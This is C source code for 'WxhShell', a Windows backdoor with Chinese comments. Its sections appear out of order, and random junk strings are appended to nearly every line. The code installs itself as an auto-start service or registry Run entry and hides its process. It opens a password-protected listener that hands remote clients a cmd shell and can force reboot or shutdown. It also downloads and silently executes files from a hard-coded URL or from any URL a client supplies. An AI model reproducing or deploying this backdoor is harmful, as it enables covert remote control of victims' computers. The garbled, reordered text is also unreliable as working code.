    if(Boot(SHUTDOWN)) ER{yuw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mH'\:oN  
    else { NtHbwU,  
    closesocket(wsh); xC)7eQn/R  
    ExitThread(0); ^[en3aQ  
    } rwoF}}  
    break; r k@UsHy  
    } 'yE*|Sx  
  // 获取shell /M 0 p_4  
  case 's': { F b1EMVu  
    CmdShell(wsh); N].4"0Jv-D  
    closesocket(wsh); f](I.lm:  
    ExitThread(0); YjFWC!Qj$  
    break; *0O<bm  
  } _~ v-:w  
  // 退出 Fl<(m  
  case 'x': { -eUV`&[4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2.]~*7   
    CloseIt(wsh); _O$tuC%  
    break; m+H%g"Zj  
    } ?F1wh2o q  
  // 离开 -=}b;Kf -  
  case 'q': { 1c'79YU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); B-$+UE>%  
    closesocket(wsh); i9KTX%s5^  
    WSACleanup(); kr#I{gF  
    exit(1); 5|CzX X#U  
    break; (JWv *p  
        } GN0duV  
  } FK6K6wU52m  
  } E$w#+.QP  
97!H`|u <  
  // 提示信息 I:nI6gF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B9}E {)T?  
} =w6}\ 'X  
  } q=njKC  
au}s=ua~i  
  return; Ym'7vW#~  
} Gp,'kw"I  
xLZ bU4  
// shell模块句柄 U3/8A:$y  
int CmdShell(SOCKET sock) =C#*!N73  
{ ( :iPm<  
STARTUPINFO si; aF!WIvir  
ZeroMemory(&si,sizeof(si)); V#NtBreN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |<1M&\oaQ'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; of=ql  
PROCESS_INFORMATION ProcessInfo; |e:rYLxm:  
char cmdline[]="cmd"; h<)yJh  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bTiBmS  
  return 0; 5\&]J7(  
} O)`Gzx*ShU  
l**3%cTb  
// 自身启动模式 3 tF:  
int StartFromService(void) i$["aP~G  
{ &5d\~{;  
typedef struct TywK\hH  
{ Si]X rub  
  DWORD ExitStatus; bH,M,xIL2  
  DWORD PebBaseAddress; J B(<.E 2  
  DWORD AffinityMask; aV#h5s  
  DWORD BasePriority; /eb-'m  
  ULONG UniqueProcessId; y`6\L$c  
  ULONG InheritedFromUniqueProcessId; L$kgK# T  
}   PROCESS_BASIC_INFORMATION; wh*:\_!0\  
BtzYA"  
PROCNTQSIP NtQueryInformationProcess; js -2"I  
94y9W#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]=|P<F   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nSHNis  
%W&1`^Jl  
  HANDLE             hProcess; AJdp6@O +  
  PROCESS_BASIC_INFORMATION pbi; me:iQ.g  
V,vc_d?,_o  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); SwX@I6huM  
  if(NULL == hInst ) return 0; &y\igX1  
>e/ r2U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KJX>DL 9\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9>;} /*:H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9*DEv0}a^  
:T5A84/C  
  if (!NtQueryInformationProcess) return 0; y] y9'5_  
bJPJ.+G7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); - zQ<Z E  
  if(!hProcess) return 0;  HD H  
] );NnsG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !vVT]k[N  
u-:MVEm  
  CloseHandle(hProcess); ly=a>}F_  
#"<?_fao~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); E<k ^S{  
if(hProcess==NULL) return 0; C bQ4Y  
UBIIo'u  
HMODULE hMod; D7gHE  
char procName[255]; nd.hHQ  
unsigned long cbNeeded; N8QH*FX/F1  
+|0 t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kIX)oD}c  
-"tY{}z  
  CloseHandle(hProcess); &oEyixe  
TL'0T,Jo  
if(strstr(procName,"services")) return 1; // 以服务启动 QXY}STs  
@k9Pz<ub  
  return 0; // 注册表启动 G AEZY  
} o}  {-j  
XL~>rw<  
// 主模块 P7UJ-2%Y+  
int StartWxhshell(LPSTR lpCmdLine) \%4|t,en  
{ d'OGVN  
  SOCKET wsl; &`@lB (m  
BOOL val=TRUE; sG1BNb_  
  int port=0; c=aO5(i0  
  struct sockaddr_in door; U6c@Et,  
[<S^c[47U  
  if(wscfg.ws_autoins) Install(); SBL+e]P  
|6*Va%LYO-  
port=atoi(lpCmdLine); @,e8t BL  
tah }^  
if(port<=0) port=wscfg.ws_port; K_&_z  
|]tZ hI"3<  
  WSADATA data; zi.mq&,]R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; EBwK 7c  
TzY *;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   WUY,. 8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gwq`_/d}  
  door.sin_family = AF_INET; URQ@=W7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3HKxYvc C  
  door.sin_port = htons(port); C=[Ae,  
Vd<K4Tk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,Z5Fea  
closesocket(wsl); y]^#$dK(z  
return 1; u# 3)p  
} +o u Y  
~j]dct7  
  if(listen(wsl,2) == INVALID_SOCKET) { 10O3Z9  
closesocket(wsl); K:a3+k d  
return 1; 3a^)u-9,x  
} 1a*6ZGk.  
  Wxhshell(wsl); H`gb}?9R  
  WSACleanup(); x=vK EyS@  
x{?sn  
return 0; *v&*% B  
T]uKH29.%  
} s>r ^r%uK  
H0+:XF\M  
// 以NT服务方式启动 RJwb@r<v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `0z/BCNB  
{ vcM~i^24)  
DWORD   status = 0; M?R!n$N_  
  DWORD   specificError = 0xfffffff; _Fxe|"<^  
3C#RjA-2[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; MH FaSl  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; wonYm27f  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,(;5%+#n  
  serviceStatus.dwWin32ExitCode     = 0; 4i`S+`#  
  serviceStatus.dwServiceSpecificExitCode = 0; 2+Zti8  
  serviceStatus.dwCheckPoint       = 0; qCQu^S' iD  
  serviceStatus.dwWaitHint       = 0; ;:?*t{r4#  
Pt(tRHB  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yfC2^#9 Zu  
  if (hServiceStatusHandle==0) return; ,jTPg/r  
#4N >d~  
status = GetLastError(); w?S8@|MK  
  if (status!=NO_ERROR) VfRs[ 3Q  
{ sS|<&3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; u uSHCp  
    serviceStatus.dwCheckPoint       = 0; &#-[Y:?lA  
    serviceStatus.dwWaitHint       = 0; @.1Qs`pt  
    serviceStatus.dwWin32ExitCode     = status; kU1 %f o  
    serviceStatus.dwServiceSpecificExitCode = specificError; Yw1Y-M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); F^]aC98]1  
    return; "*t6t4/Q  
  } CWBbSGk  
'QR4~`6I  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *#6|!%?g  
  serviceStatus.dwCheckPoint       = 0; /k) NP  
  serviceStatus.dwWaitHint       = 0; {zu/tCq?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Kk`<f d  
} A]#_"fayo  
m|mG;8}pI  
// 处理NT服务事件,比如:启动、停止 j C9<hLt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) nSS}%&a:LX  
{ ?;fv!'?%  
switch(fdwControl) %; qY  '+  
{ X~%IM1+L;  
case SERVICE_CONTROL_STOP: %xHu,*  
  serviceStatus.dwWin32ExitCode = 0; m EFWo  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; FbuKZp+  
  serviceStatus.dwCheckPoint   = 0; g4Bg6<;  
  serviceStatus.dwWaitHint     = 0;  XtR`?  
  { E}t-N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ah>Dqb*  
  } D"'#one  
  return; A>5S]  
case SERVICE_CONTROL_PAUSE: 1&}G+y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; f!(cD80  
  break; 0$!.c~  
case SERVICE_CONTROL_CONTINUE: aC4m{F[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q4 $sc_0i  
  break; I'P!,Y/>  
case SERVICE_CONTROL_INTERROGATE: $sM]BE:  
  break; x7Eeb!s0f,  
}; ^,>}%1\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,d5ia4\K  
} jD<9=B(g  
27$\sG|g  
// 标准应用程序主函数 g*^wF?t'T  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (Y&R0jt  
{  eMztjN  
!SN6 ?Xy  
// 获取操作系统版本 R+C+$?4NG  
OsIsNt=GetOsVer(); X9SJ~n  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;B(;2.<"J  
U24V55ZnI  
  // 从命令行安装 hY)YX,f=S  
  if(strpbrk(lpCmdLine,"iI")) Install(); gZ=) qT]Pj  
@i;LZa  
  // 下载执行文件 p {w}  
if(wscfg.ws_downexe) { ud 5x$`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5QNBB|X@  
  WinExec(wscfg.ws_filenam,SW_HIDE); S".owe$\  
} s 8C:QC  
~rp.jd 0l  
if(!OsIsNt) { *'s&/vEy  
// 如果时win9x,隐藏进程并且设置为注册表启动 @b4b{d5[  
HideProc(); CdE2w?1  
StartWxhshell(lpCmdLine); [sjrb?Xd  
} ;9 lqSv/6  
else ,80jMs  
  if(StartFromService()) 1i ?gvzrq  
  // 以服务方式启动 HdDo&#  
  StartServiceCtrlDispatcher(DispatchTable); NWaI[P  
else uHTKo(NG  
  // 普通方式启动 -(`K7T>D.  
  StartWxhshell(lpCmdLine); }Z<D^Z~w  
(8+.#1!*  
return 0; 'cWlY3%t  
} PpI+@:p[  
&:IfhS  
0q-0zXlSL  
}mkA Hmu4  
=========================================== i G?w;  
`kI?Af*;v  
56 /.*qa  
,K"r:)\  
1==P.d(  
}?\#_BCjx(  
" 9J't[( u|u  
/r #b  
#include <stdio.h> Nn~tb2\vk  
#include <string.h> v)X[gt tf  
#include <windows.h> T9&,v<f  
#include <winsock2.h> TPV6$a<  
#include <winsvc.h> :..E:HdYO  
#include <urlmon.h> [J[ysW})W  
`Pz!SJ|  
#pragma comment (lib, "Ws2_32.lib") 5x93+DkO\  
#pragma comment (lib, "urlmon.lib") D~[ N_  
&z{dr ~  
#define MAX_USER   100 // 最大客户端连接数 N> uZt2  
#define BUF_SOCK   200 // sock buffer f=-!2#%  
#define KEY_BUFF   255 // 输入 buffer 3}.mp}K 5  
a,F8+ Pb>  
#define REBOOT     0   // 重启 bqf]$}/8k  
#define SHUTDOWN   1   // 关机 4okHAv8;  
I\F=s-VVY  
#define DEF_PORT   5000 // 监听端口 y&KoL\  
9OO0Ht4j  
#define REG_LEN     16   // 注册表键长度 HZ[68T[8b  
#define SVC_LEN     80   // NT服务名长度 QBN=l\m+  
*;V2_fWJ@  
// 从dll定义API .j+2x[`l  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =X%R*~!#Of  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =B ,_d0Id  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]e#,\})Br  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W}<M?b4tP  
@5dB b+0J  
// wxhshell配置信息 ^HOwN<}`#  
struct WSCFG { N'Z_6A*-  
  int ws_port;         // 监听端口 XQ+-+CD  
  char ws_passstr[REG_LEN]; // 口令  \!' {-J  
  int ws_autoins;       // 安装标记, 1=yes 0=no PEwW*4Xo  
  char ws_regname[REG_LEN]; // 注册表键名 KqG$zC^N  
  char ws_svcname[REG_LEN]; // 服务名 }SJLBy0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 80R= r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2yQ;lQ`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [W8iM7D  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gzJ{Gau{)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" JXZ:Wg  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |tolgdj  
Xy KKD&j  
}; eW }jS/g`  
2C 8L\  
// default Wxhshell configuration tZc.%TU  
struct WSCFG wscfg={DEF_PORT, "8C(_z+]K`  
    "xuhuanlingzhe", {) '" k6w  
    1, 5G42vTDzS4  
    "Wxhshell", aF4V|?+  
    "Wxhshell", e5:l6`  
            "WxhShell Service", KWZNu &)  
    "Wrsky Windows CmdShell Service", (fLbg,  
    "Please Input Your Password: ", Hhce:E@K  
  1, ko7-%+0|]  
  "http://www.wrsky.com/wxhshell.exe", Ow&'sR'CX  
  "Wxhshell.exe" ?-6x]l=]  
    }; 0I ND9h. %  
BR0p0%  
// 消息定义模块 szM=U$jKq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S92 !jp/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6u]OXP A|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; UdM5R [  
char *msg_ws_ext="\n\rExit."; 1H2u,{O  
char *msg_ws_end="\n\rQuit."; .tHv4.ob  
char *msg_ws_boot="\n\rReboot..."; d9e H}#OY  
char *msg_ws_poff="\n\rShutdown..."; ju2X*  
char *msg_ws_down="\n\rSave to "; " :nVigw&  
;H#R{uR_<  
char *msg_ws_err="\n\rErr!"; /EAQ.vxI  
char *msg_ws_ok="\n\rOK!"; 4 *2>R8SX~  
`'k's]Y  
char ExeFile[MAX_PATH]; x.4)p6  
int nUser = 0; bMK'J  
HANDLE handles[MAX_USER]; Uc%`? +Q  
int OsIsNt; f+W[]KK*PW  
P A+e= %  
SERVICE_STATUS       serviceStatus; x@bl]Z(ne/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; A"T. nqB^y  
snk{u/0Xm  
// 函数声明 HI`A;G]  
int Install(void); 9QM"JEu@  
int Uninstall(void); MAhPO!e5.  
int DownloadFile(char *sURL, SOCKET wsh); }JTgj  
int Boot(int flag); 0o'ML""j  
void HideProc(void); $!3t$-TSD  
int GetOsVer(void); uC8T!z  
int Wxhshell(SOCKET wsl); _/w-gL{  
void TalkWithClient(void *cs); h,jAtL!  
int CmdShell(SOCKET sock); 9,a,A6xry  
int StartFromService(void); ';L^mxh  
int StartWxhshell(LPSTR lpCmdLine); R8W4 4I*R:  
{,mRMDEy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /v ;Kb|e  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (/P&;?j  
ZCF-*nm  
// 数据结构和表定义 Dp |FyP_w  
SERVICE_TABLE_ENTRY DispatchTable[] = o%JIJ7M  
{ YGO7lar  
{wscfg.ws_svcname, NTServiceMain}, 5$G??="K  
{NULL, NULL} e ~,'|~ C5  
}; g4qdm{BL  
u#k6v\/  
// 自我安装 GpQF * x  
int Install(void) 9TN5|x  
{ CH+&  
  char svExeFile[MAX_PATH]; %IXW|mi  
  HKEY key; WsDe0F  
  strcpy(svExeFile,ExeFile); ~ai' M#  
~acK$.#  
// 如果是win9x系统,修改注册表设为自启动 ^3s&90  
if(!OsIsNt) { M[N.H9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S7>gNE;%]u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); scEQDV  
  RegCloseKey(key); .E8p-R5)V>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TK?+O}v-]!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Nn7@+g)  
  RegCloseKey(key); xi^e =:;`  
  return 0; 4'[ V'c\  
    } +\$|L+@Z  
  } ~TR|Pv  
} }? '9L:  
else { 2/q=l?  
0!\q  
// 如果是NT以上系统,安装为系统服务 AFJY!ou~6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \ OINzfbr  
if (schSCManager!=0) (SVr>|Db  
{ AFUl   
  SC_HANDLE schService = CreateService 5VoiDM=\c  
  ( A+E@OOw*~  
  schSCManager, 1)r_h(  
  wscfg.ws_svcname, Bzt`9lg  
  wscfg.ws_svcdisp, (uc)^lfX  
  SERVICE_ALL_ACCESS, ]lYEJ`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fR;_6?p*B  
  SERVICE_AUTO_START, YEoT_>A$dB  
  SERVICE_ERROR_NORMAL, ;!sGfrs 0$  
  svExeFile, ~,-O  
  NULL, L umD.3<  
  NULL, 3+uoK f[  
  NULL, ?O Nw*"9  
  NULL, 2/N*Uk 0  
  NULL 'Rw] C[  
  ); .g?,:$`0D?  
  if (schService!=0) f+~!s 2uw  
  { b u9&sQ;  
  CloseServiceHandle(schService); ^i1:PlW]  
  CloseServiceHandle(schSCManager); ebK wCZwK*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $zi\ /Yw  
  strcat(svExeFile,wscfg.ws_svcname); +Z]%@"S?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  kovzB]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a/#,Y<kJ  
  RegCloseKey(key); umn^QZ,  
  return 0; FWN%JCOj@  
    } 8QBL:7<  
  } Z"T(8>c;g  
  CloseServiceHandle(schSCManager); N)Kr4GC  
} zD-8#H35X"  
} Ih"Ol(W  
dq(L1y870  
return 1; kn|l3+  
} nQmYeM  
1=.kH[R  
// 自我卸载 ]zY'w,?D\F  
int Uninstall(void) K 5[ 3WHQ  
{ RtL'fd  
  HKEY key; S`KCVQ>V  
9%6`ZS~3  
if(!OsIsNt) { .CpO+z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hh}EDnx  
  RegDeleteValue(key,wscfg.ws_regname); ir#^5e @  
  RegCloseKey(key); *X=-^\G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ka{Zoi]  
  RegDeleteValue(key,wscfg.ws_regname); E1_4\ S*z  
  RegCloseKey(key); 0MPDD%TP  
  return 0; B35f 5m7r  
  } (B#|3o  
} T,>e\  
} sAlgp2-  
else { a| cD{d  
/d'u1FnA =  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a-y5\x  
if (schSCManager!=0) UkV] F]  
{ (5_(s`q.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~!kbB4`WK  
  if (schService!=0) @eWx4bl  
  { [K- s\  
  if(DeleteService(schService)!=0) { rgY~8PY"  
  CloseServiceHandle(schService); RoZV6U~  
  CloseServiceHandle(schSCManager); zPYa@0I  
  return 0; {{,%p#/b  
  } l?[DO?m+R  
  CloseServiceHandle(schService); XQ8Imkc  
  } pnU g:R@  
  CloseServiceHandle(schSCManager); oMbCljUC  
} Ls{fCi/2F  
} 6 -}gqkR  
[4e5(!e  
return 1; nj$K4_  
} 3>6o=7/PU  
-C+vmY*@  
// 从指定url下载文件  HV(Kz  
int DownloadFile(char *sURL, SOCKET wsh) #v-!GK_<  
{ ,z3b2$ &A  
  HRESULT hr; _#:1Axx1  
char seps[]= "/"; 9iE66N>z  
char *token; %ZK}y{u\  
char *file; pxj"<q`nw8  
char myURL[MAX_PATH]; x3 S  
char myFILE[MAX_PATH]; n6f|,D!?  
tDo0Q/`  
strcpy(myURL,sURL); ($kwlj~c  
  token=strtok(myURL,seps); Cn<x  
  while(token!=NULL) Tx(R3B+u7  
  { 9D,& )6  
    file=token; hj4Rr(T  
  token=strtok(NULL,seps); $BY{:#a]  
  } O]>`B{  
;l'I. j  
GetCurrentDirectory(MAX_PATH,myFILE); ?x @khzk  
strcat(myFILE, "\\"); 6_Kz}PQ  
strcat(myFILE, file); Gf?KpU  
  send(wsh,myFILE,strlen(myFILE),0); [>;O'>  
send(wsh,"...",3,0); U VT8TN-T  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); & \m\QI  
  if(hr==S_OK) 0CROq}  
return 0; ?6dtvz;K+?  
else ,l6W|p?ZO^  
return 1; 5kF5`5+Vj  
dQ[lXV[}v  
} ect?9S[!y  
!Xm:$KH  
// 系统电源模块 ARE~jzakg  
int Boot(int flag) &BgaFx**  
{ N+\*:$>zt6  
  HANDLE hToken; 9M<? *8)  
  TOKEN_PRIVILEGES tkp; |j,Mof  
T*IudxW  
  if(OsIsNt) { MD7[}cB  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m"*:XfOL  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ij+zR>P8=\  
    tkp.PrivilegeCount = 1; pqe**`z@y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pGIeW}2'9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fh~&&f}6  
if(flag==REBOOT) { HIF] c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !cZsIcIe  
  return 0; AOe~VW  
} Vr*t~M>  
else { =BtEduz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2B4c :jJ  
  return 0; bY>Ug{O;  
} ;VuIQ*@m"  
  } URAipLvN  
  else { 3{ci]h`:y8  
if(flag==REBOOT) { ciTQH (G  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .#n?^73  
  return 0; '.=Z2O3p  
} JI^w1I, T  
else { P}5aN_v \  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [V2l&ZUni  
  return 0; N(9'U0z  
} a5'QL(IX  
} =vFI4)$-  
[D t`@Dm  
return 1; 5?b9[o+ D  
} ym KdRF  
0^m02\Li  
// win9x进程隐藏模块 UW+I 8\^  
void HideProc(void) 8p FSm>  
{ +,MzD'(D  
R9W(MLe58  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); eYagI  
  if ( hKernel != NULL ) |"mb 59X  
  { &0#qy9wx  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {\V)bizY;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _ReQQti[  
    FreeLibrary(hKernel); lY1m%  
  } /nrDU*  
4nY2v['m0  
return; D,hl+P{^K  
} -X=f+4j  
%$cwbh-{{  
// 获取操作系统版本 DgdW.Kj|IL  
int GetOsVer(void) '1w<<?vX?  
{ !O5UE  
  OSVERSIONINFO winfo; xWDwg@ P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jk|0<-3  
  GetVersionEx(&winfo); E`i;9e'S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?832#a?FZ;  
  return 1; cq0jM;@d  
  else f5G17: Q  
  return 0; D1w_Vpz  
} %pMW5]H  
6wF ?FtT  
// 客户端句柄模块 ?XHJCp;f  
int Wxhshell(SOCKET wsl) u%|VmM>  
{  oCduY2  
  SOCKET wsh; JK1b 68n  
  struct sockaddr_in client; n\ IVpgP  
  DWORD myID; lyib+Sa ?`  
%|;^[^7+}t  
  while(nUser<MAX_USER) #&@&BlIe  
{ qYpHH!!C=  
  int nSize=sizeof(client); iw#luHcJ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V{"5)Ly?fu  
  if(wsh==INVALID_SOCKET) return 1; aqMZ%~7  
B^6P 6,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -du+iOe?  
if(handles[nUser]==0) p* ^O 8o  
  closesocket(wsh); @<};Bo'  
else HloP NE&}  
  nUser++; "aP/214Ul  
  } k<:!^_3H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5Zq- |"|  
ALKhZFuz  
  return 0; vv3dr_l:  
} rf9RG!  
t >8t|t+  
// 关闭 socket ,@P3!|  
void CloseIt(SOCKET wsh) i3kI{8h  
{ eo@:@O+bm  
closesocket(wsh); P[Qr[74 )  
nUser--; 4gYP .h:,  
ExitThread(0); s#d>yx_b  
} .M_;mhRI  
'8}\! i&  
// 客户端请求句柄 < *XC`Ii  
void TalkWithClient(void *cs) K46mE   
{ }#Vo XilX  
1s*I   
  SOCKET wsh=(SOCKET)cs; x.d9mjLN8m  
  char pwd[SVC_LEN]; ncWASw`  
  char cmd[KEY_BUFF];  fBQZ=zh  
char chr[1]; i4->XvC  
int i,j; wngxVhu8Ld  
\+5L. Q  
  while (nUser < MAX_USER) { z\;kjI  
)Dv"seH.  
if(wscfg.ws_passstr) { `E}2|9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $CXqkK<6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {xOu*8J  
  //ZeroMemory(pwd,KEY_BUFF); OnG!5b  
      i=0; Wve ^2lkoK  
  while(i<SVC_LEN) { #M_QSD}&  
 R,y8~D  
  // 设置超时 #!<x|N?_<  
  fd_set FdRead; w| >Y&/IX  
  struct timeval TimeOut; ^goS? p/z  
  FD_ZERO(&FdRead); 3Hq0\Y"Y  
  FD_SET(wsh,&FdRead); N'^ 0:zK:  
  TimeOut.tv_sec=8; 5xRh'Jkyb  
  TimeOut.tv_usec=0; i~\gEMaO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,,@_r&f:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); TsR20P@  
#BM *40tch  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y\j &84  
  pwd=chr[0]; A]R"C:o  
  if(chr[0]==0xd || chr[0]==0xa) { PY`V]|J  
  pwd=0; t);5Cw _  
  break; <@Ew-JU  
  } P~?u2,.E[  
  i++; u_mm*o~)g  
    } >+8mq]8^  
8o~\L= l  
  // 如果是非法用户,关闭 socket ;1"K79  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8fdOV&&D~i  
} tl#hCy  
J,IOp-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gg6&Fzp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U~7.aZHPx3  
!vG._7lPp  
while(1) { <nIU]}q  
OY?uqP}c  
  ZeroMemory(cmd,KEY_BUFF); CNP?i(Rk  
SLBKXj|  
      // 自动支持客户端 telnet标准   %S@XY3jZY  
  j=0; {5*+  
  while(j<KEY_BUFF) { b"x:IDW qG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K_ RrSI&>  
  cmd[j]=chr[0]; W>+<r9Rt4  
  if(chr[0]==0xa || chr[0]==0xd) { w$2-t  
  cmd[j]=0; }P^n /  
  break; B{zIW'Ld  
  } Q>||HtF$A  
  j++; c-gaK\u}j}  
    } Wlt shZo  
ZtIK"o-|!  
  // 下载文件 dU+1@_  
  if(strstr(cmd,"http://")) { Y/{Z`}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1tg   
  if(DownloadFile(cmd,wsh)) n NAJ8z}Nt  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /x`H6'3?  
  else \*_qP*vq@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ph-3,cC  
  } ]jM D'vg^b  
  else { pvcf_w`n  
Ndx='j0  
    switch(cmd[0]) { NH|v`rO  
